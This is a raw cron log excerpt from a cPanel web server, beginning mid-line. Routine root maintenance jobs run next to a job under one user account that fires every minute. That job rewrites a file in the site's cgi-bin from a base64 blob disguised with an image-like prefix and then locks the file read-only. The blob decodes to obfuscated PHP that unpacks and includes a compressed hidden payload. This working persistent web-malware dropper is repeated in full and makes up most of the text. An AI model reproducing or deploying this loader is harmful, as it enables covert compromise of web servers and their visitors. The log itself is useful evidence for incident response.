&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:25:01 server CROND[30539]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 19:25:01 server CROND[30540]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 19:25:01 server CROND[30541]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:26:01 server CROND[31507]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:27:01 server CROND[31959]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 19:27:01 server CROND[31961]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:28:01 server CROND[32739]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:29:01 server CROND[516]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:30:01 server CROND[1201]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 19:30:01 server CROND[1203]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 19:30:01 server CROND[1204]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:30:01 server CROND[1205]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 19:31:01 server CROND[2140]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:32:01 server CROND[2748]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:33:01 server CROND[3549]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:34:01 server CROND[4367]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:35:01 server CROND[5183]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 19:35:01 server CROND[5184]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 19:35:01 server CROND[5188]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 19:35:01 server CROND[5189]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:35:01 server CROND[5187]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 19:36:01 server CROND[6100]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
